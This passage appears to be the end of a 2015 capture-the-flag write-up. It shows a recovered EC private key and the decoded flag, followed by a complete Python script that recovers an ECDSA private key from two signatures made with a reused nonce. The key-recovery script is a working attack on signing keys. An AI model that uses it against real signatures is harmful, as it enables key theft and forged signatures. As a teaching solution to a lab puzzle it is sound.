ZV9yQG5kMG2gBwYFK4EEACKhZANiAARiWxzp1zq5ywVUlq9SmGkpzfnQhK7AZSG4
PUxg71Olt0X4qCEJaRsEIN0ruW3lUp06dhkpohDyfsnaQdoVCdWyTsOuH3MMvT0I
MSotiKpT2pFJ3Xj9MJ1rV8Agfi+BE7U=
-----END EC PRIVATE KEY-----

One interesting aspect of ECDSA is that private keys can be generated from arbitrary inputs. This private key has a suspicious dₐ component, as it is all within the printable character space:

0063683073336E5F62795F663469725F646963655F726F6C6C5F677572616E743333645F746F5F62655F72406E64306D

ASCII decoding this value reveals the flag (a nod to https://xkcd.com/221/):

Flag: ch0s3n_by_f4ir_dice_roll_gurant33d_to_be_r@nd0m

Full exploit code below:

  1 #! /usr/bin/env python
  2 
  3 import hashlib
  4 import binascii
  5 import sys
  6 import re
  7 import base64
  8 from socket import socket
  9 from ecdsa import SigningKey, NIST384p
 10 from ecdsa import VerifyingKey
 11 from ecdsa.numbertheory import inverse_mod
 12 
 13 def string_to_number(tstr):
 14     return int(binascii.hexlify(tstr), 16)
 15 
 16 def sha1(content):
 17     sha1_hash = hashlib.sha1()
 18     sha1_hash.update(content)
 19     hash = sha1_hash.digest()
 20     return hash
 21 
 22 def recover_key(c1,sig1,c2,sig2,pubkey):
 23       #using the same variable names as in:
 24       #http://en.wikipedia.org/wiki/Elliptic_Curve_DSA
 25 
 26       curve_order = pubkey.curve.order
 27 
 28       n = curve_order
 29       s1 = string_to_number(sig1[-48:])
 30       print "s1: " + str(s1)
 31       s2 = string_to_number(sig2[-48:])
 32       print "s2: " + str(s2)
 33       r = string_to_number(sig1[-96:--48])
 34       print "r: " + str(r)
 35       print "R values match: " + str(string_to_number(sig2[-96:--48]) == r)
 36 
 37       z1 = string_to_number(sha1(c1))
 38       z2 = string_to_number(sha1(c2))
 39 
 40       sdiff_inv = inverse_mod(((s1-s2)%n),n)
 41       k = ( ((z1-z2)%n) * sdiff_inv) % n
 42       r_inv = inverse_mod(r,n)
 43       da = (((((s1*k) %n) -z1) %n) * r_inv) % n
 44 
 45       print "Recovered Da: " + hex(da)
 46 
 47       recovered_private_key_ec = SigningKey.from_secret_exponent(da, curve=NIST384p)
 48       return recovered_private_key_ec.to_pem()
 49 
 50 
 51 def test():
 52       priv = SigningKey.generate(curve=NIST384p)
 53       pub = priv.get_verifying_key()
 54 
 55       print "Private key generated:"
 56       generatedKey = priv.to_pem()
 57       print generatedKey
 58 
 59       txt1 = "Dedication"
 60       txt2 = "Do you have it?"
 61 
 62       #K chosen by a fair roll of a 1d10000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
 63       sig1 = priv.sign(txt1, k=4444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444)
 64       print "Signature 1: " + str(sig1.encode('hex'))
 65       sig2 = priv.sign(txt2, k=4444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444)
 66       print "Signature 2: " + str(sig2.encode('hex'))
 67 
 68       print "Signature 1 verification: " + str(pub.verify(sig1, txt1))
 69       print "Signature 2 verification: " + str(pub.verify(sig2, txt2))
 70 
 71       key = recover_key(txt1, sig1, txt2, sig2, pub)
 72       print "Private key recovered:"
 73       print key
 74 
 75       print "Equality of generated & recovered keys: " + str(generatedKey == key)
 76 
 77 public_key_ec_pem = '''
 78 -----BEGIN PUBLIC KEY-----
 79 MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEYlsc6dc6ucsFVJavUphpKc350ISuwGUh
 80 uD1MYO9TpbdF+KghCWkbBCDdK7lt5VKdOnYZKaIQ8n7J2kHaFQnVsk7Drh9zDL09
 81 CDEqLYiqU9qRSd14/TCda1fAIH4vgRO1
 82 -----END PUBLIC KEY-----
 83 '''.strip()
 84 
 85 def recover():
 86       txt1 = "Students reported that students post to discussion forums more frequently and are irrevocable provided the stated conditions are met."
 87       sig1 = '''a0289c0fa7e87f1ab1e94b577f43691ebd70c04b0e62ca7eaaf1791983d512e7bbc843ee3a2a0430455e9f755f832ccdcd7a46d769ee43467a01453214868094ca228cb5eebc953a39fb9bbaf865f4dbe1dad9b5f9f1bed75671e0db5433f0ed'''.strip().decode('hex')
 88 
 89       txt2 = "But is this enough? And what new threats could be using it as a friend or fan.[2]"
 90       sig2 = '''a0289c0fa7e87f1ab1e94b577f43691ebd70c04b0e62ca7eaaf1791983d512e7bbc843ee3a2a0430455e9f755f832ccd54d4f8306fe11bd4a28a491ddf596c64cd98c93d7fa9a05acead17e42e96ed1a190a2fddd7c695b8d9bce43f221b4e1b'''.strip().decode('hex')
 91 
 92       public_key_ec = VerifyingKey.from_pem(public_key_ec_pem)
 93       print "Verify1: " + str(public_key_ec.verify(sig1, txt1))
 94       print "Verify2: " + str(public_key_ec.verify(sig2, txt2))
 95       print "curve order:", public_key_ec.curve.order
 96 
 97       key = recover_key(txt1, sig1, txt2, sig2, public_key_ec)
 98       print key
 99 
100 
101 if __name__ == "__main__":
102       print "---Performing test attack on known private key---"
103       test()
104       print
105       print "---Attempting to recover unknown key---"
106       recover()
107       print "---Done!---"

Posted on Aug. 12, 2015, 9:26 a.m. by reidb